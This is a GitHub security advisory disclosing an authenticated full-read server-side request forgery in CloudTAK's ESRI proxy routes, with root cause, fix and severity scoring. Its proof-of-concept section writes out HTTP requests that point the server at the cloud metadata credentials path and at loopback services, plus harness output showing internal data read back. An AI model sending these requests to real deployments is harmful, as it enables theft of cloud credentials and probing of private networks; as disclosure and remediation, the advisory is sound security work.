Skip to content

CloudTAK: Authenticated full-read SSRF in the /api/esri* routes — user-controlled URL fetched with no IP-classification guard

High severity GitHub Reviewed Published Jun 10, 2026 in dfpc-coe/CloudTAK • Updated Jul 17, 2026

Package

npm @tak-ps/cloudtak (npm)

Affected versions

< 13.10.0

Patched versions

13.10.0

Description

Authenticated full-read SSRF in CloudTAK /api/esri* routes — user-controlled URL fetched with no IP-classification guard

Summary

Every route in the ESRI helper family (api/routes/esri.ts) takes a fully attacker-controlled URL from the request (POST /api/esri body url, and the portal / server / layer query parameters on the GET /api/esri/* routes) and passes it into EsriBase / EsriProxyPortal / EsriProxyServer / EsriProxyLayer in api/lib/esri.ts, which fetch it with the bare fetch from @tak-ps/etl. No IP / DNS / hostname classification is applied at any point, so the destination is never validated against private, loopback, or link-local ranges.

Any authenticated user (the routes only require Auth.is_auth(config, req, { anyResources: true }), i.e. any token, not an admin) can therefore make the CloudTAK server issue arbitrary outbound GET/POST requests to internal addresses such as the cloud instance-metadata service (169.254.169.254), loopback admin ports (127.0.0.1:<port>), and other hosts reachable only from inside the deployment VPC.

This is a full-read SSRF, not blind: on success the upstream JSON body is returned to the caller via res.json(...), and on failure the upstream error string is reflected verbatim as ESRI Server Error: <message>. An attacker can read cloud metadata (and the temporary IAM credentials the instance role exposes), enumerate internal services, and exfiltrate their response bodies.

The sniff() URL classifier provides no protection: it only pattern-matches the pathname (/rest, /arcgis/rest, /sharing/rest), so a URL like http://169.254.169.254/arcgis/rest or http://127.0.0.1:8500/rest passes sniff() and is fetched.

Affected versions

  • All versions up to and including 13.7.0 (latest at time of report).

The project already ships an SSRF guard helper — isSafeUrl from @tak-ps/node-safeurl — and wires it into the basemap, task, and video-service code paths, but the entire /api/esri* route family and the ESRI fetch library (api/lib/esri.ts) were never wired up, leaving the guard absent on this surface.

Vulnerable code

All permalinks are pinned to commit c7433679d2107fa0258e9005069bc5b4ca5773aa (release lineage of 13.7.0).

Routes — user input → ESRI fetch, no guard (api/routes/esri.ts):

Library — the fetch sinks (api/lib/esri.ts), all reached with the user URL and none preceded by a guard:

sniff() only inspects the pathname (no host/IP check):
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L142-L156

The guard exists elsewhere but is missing here — for comparison, the basemap import path classifies the URL before fetching:
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L85-L90

Note also that the ESRI sub-branch inside basemap.ts (isEsriLayerURL(...) → new EsriBase(...) → EsriProxyLayer.tilejson()) reaches the same unguarded ESRI library and is therefore equally affected:
https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L770-L773

grep -c isSafeUrl api/routes/esri.ts api/lib/esri.ts returns 0 and 0.

Proof of concept

Prerequisites: a running CloudTAK instance and a valid user token (any non-admin user account — the routes only call Auth.is_auth(config, req, { anyResources: true })).

1. Read cloud instance metadata (credential theft)

POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>
Content-Type: application/json

{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest" }

The server's EsriBase.from() calls fetchVersion() → fetch('http://169.254.169.254/...?f=json'). The path contains /rest, so sniff() classifies it as SERVER and the request proceeds. The metadata service's response body is read back to the attacker — either inside the successful JSON response, or reflected in the error string (ESRI Server Error: <upstream body fragment>). On AWS IMDSv1 deployments this yields the instance-role temporary credentials.

2. Read an internal-only service over loopback / VPC (full-read)

GET /api/esri/server?server=http://127.0.0.1:8500/rest HTTP/1.1
Host: cloudtak.example.org
Authorization: Bearer <any-valid-user-token>

new EsriBase('http://127.0.0.1:8500/rest') → EsriProxyServer.getList() → fetch('http://127.0.0.1:8500/rest?f=json'). The full JSON returned by the internal service (here a Consul/admin port, but any internal host:port reachable from the CloudTAK box works) is reflected to the attacker via res.json(list).

GET /api/esri/portal?portal=http://<internal-host>/sharing/rest and GET /api/esri/server/layer?layer=http://<internal-host>/rest/.../FeatureServer/0&query=1=1 give the same full-read primitive on the other sub-routes.

3. Negative control — unauthenticated is rejected

POST /api/esri HTTP/1.1
Host: cloudtak.example.org
Content-Type: application/json

{ "url": "http://169.254.169.254/latest/meta-data/arcgis/rest" }

Returns 403 Authentication Required (from Auth.is_auth → api/lib/auth.ts:118). The SSRF is reachable by any authenticated user but not by an anonymous one.

E2E reproduction (sink path against a controlled internal victim)

Because exercising the real route against a public cloud metadata endpoint is not something to do against third-party infrastructure, the sink was reproduced against a local internal-only victim using the same fetch import (@tak-ps/etl) and the verbatim EsriBase.sniff() + fetchVersion() logic the route uses. The harness models the route handler exactly: it new URL()s the user input, runs sniff(), then fetch()s — with isSafeUrl deliberately not called (matching shipped behavior), and a toggled control branch that calls it (matching the basemap guard).

Victim (victim.mjs) — an internal-only service on 127.0.0.1:9099 returning a secret JSON body:

[victim] internal service listening on 127.0.0.1:9099
[victim] HIT GET /arcgis/rest?f=json from 127.0.0.1

Harness output (esri_ssrf_e2e.mjs), user-supplied URL http://127.0.0.1:9099/arcgis/rest:

[VULN/no-guard] route returned full internal body:
{
  "type": "SERVER",
  "base": "http://127.0.0.1:9099/arcgis/rest",
  "upstreamBody": {
    "currentVersion": "11.4",
    "internal-only": true,
    "aws-metadata-simulated": {
      "iam": { "role": "cloudtak-prod-instance-role", "AccessKeyId": "ASIA_FAKE_INTERNAL_KEY_DO_NOT_USE" }
    },
    "note": "If you can read this from a user-supplied URL, that is SSRF (full-read)."
  }
}
[CONTROL/guarded] blocked as expected: Blocked URL: blocked IP address: 127.0.0.1

And isSafeUrl confirms it would block the metadata / loopback targets if it were called on this path:

http://169.254.169.254/latest/meta-data/ => {"safe":false, ... "reason":"blocked IP address: 169.254.169.254"}
http://127.0.0.1:9999/                  => {"safe":false, ... "reason":"blocked IP address: 127.0.0.1"}
http://localhost/                       => {"safe":false, ... "reason":"blocked hostname: localhost"}

So: with the shipped (no-guard) code the request reaches the internal victim and the full internal body is returned; with the basemap-style isSafeUrl guard the same request is blocked. (A full container OOM-style demonstration of reading real cloud metadata is intentionally not performed against live infrastructure; the victim-host reproduction is the honest, self-contained equivalent of the route's fetch path.)

Root cause

Two compounding gaps:

  1. No IP/DNS classification before fetch. api/lib/esri.ts imports the unguarded fetch from @tak-ps/etl and calls it with a URL derived directly from user input in every EsriProxy* method and in EsriBase.fetchVersion() / generateToken(). Nothing resolves the hostname and rejects private / loopback / link-local addresses. The repository already depends on @tak-ps/node-safeurl (isSafeUrl) precisely for this, and uses it in api/routes/basemap.ts, api/routes/task.ts, and api/lib/control/video-service.ts — but the guard was never added to the ESRI route family or to the ESRI library. This is an incomplete migration: the SafeURL hardening (PR #1468) covered basemap/task/video but left /api/esri* and api/lib/esri.ts (including the ESRI sub-branch of basemap import) unprotected.

  2. sniff() validates the wrong thing. The only inspection the URL receives before being fetched is EsriBase.sniff(), which pattern-matches the pathname for /rest, /arcgis/rest, or /sharing/rest. It never looks at the host, so an attacker simply appends /rest (or /arcgis/rest) to an internal URL and it is accepted and fetched.

Impact

  • CWE-918 Server-Side Request Forgery, full-read.
  • Cloud credential theft: reading http://169.254.169.254/latest/meta-data/iam/security-credentials/... (IMDSv1) yields the instance role's temporary AWS credentials, which an attacker can use against the deployment's cloud account.
  • Internal network enumeration and data exfiltration: any host:port reachable from the CloudTAK server (loopback admin ports, VPC-internal services, databases with HTTP interfaces, link-local) can be probed and, where the response is JSON-ish, read in full via the reflected response body / error string.
  • Privilege required: any authenticated user with any token (anyResources: true) — not limited to administrators. Unauthenticated requests are rejected (403), so this requires a valid account but no special role.

Fix

Centralize the existing isSafeUrl guard inside the ESRI library so every /api/esri* route and the ESRI sub-branch of basemap import are covered by one chokepoint, mirroring the guard already used in basemap.ts:

  • Add an async URL-classification step that runs isSafeUrl(...) and throws Blocked URL: <reason> for any URL that resolves to a private/loopback/link-local address, before the first fetch in EsriBase (e.g. in EsriBase.from() and a guarded constructor/init path, so both new EsriBase(...) + later proxy calls and EsriBase.from(...) are covered).
  • Preserve the existing process.env.StackName !== 'test' test-mode skip used elsewhere so the test suite is unaffected.

Because all six routes funnel through EsriBase / the EsriProxy* classes in api/lib/esri.ts, guarding the library is sufficient and avoids re-introducing the same per-route omission. A reference patch implementing exactly this (guard added to the ESRI library + applied on the route entry points, matching the basemap pattern) is provided as a pull request from a private fork.

Disclosure

  • Reported by tonghuaroot.
  • Credit: tonghuaroot only.

Reference fix PR (private advisory fork): https://github.com/dfpc-coe/CloudTAK-ghsa-r95q-fp26-h3hc/pull/1 — commit ff6dd1d9, centralizing isSafeUrl inside api/lib/esri.ts (safeFetch wrapper + EsriBase.assertSafe).

References

@ingalls ingalls published to dfpc-coe/CloudTAK Jun 10, 2026
Published to the GitHub Advisory Database Jul 17, 2026
Reviewed Jul 17, 2026
Last updated Jul 17, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-55177

GHSA ID

GHSA-r95q-fp26-h3hc

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.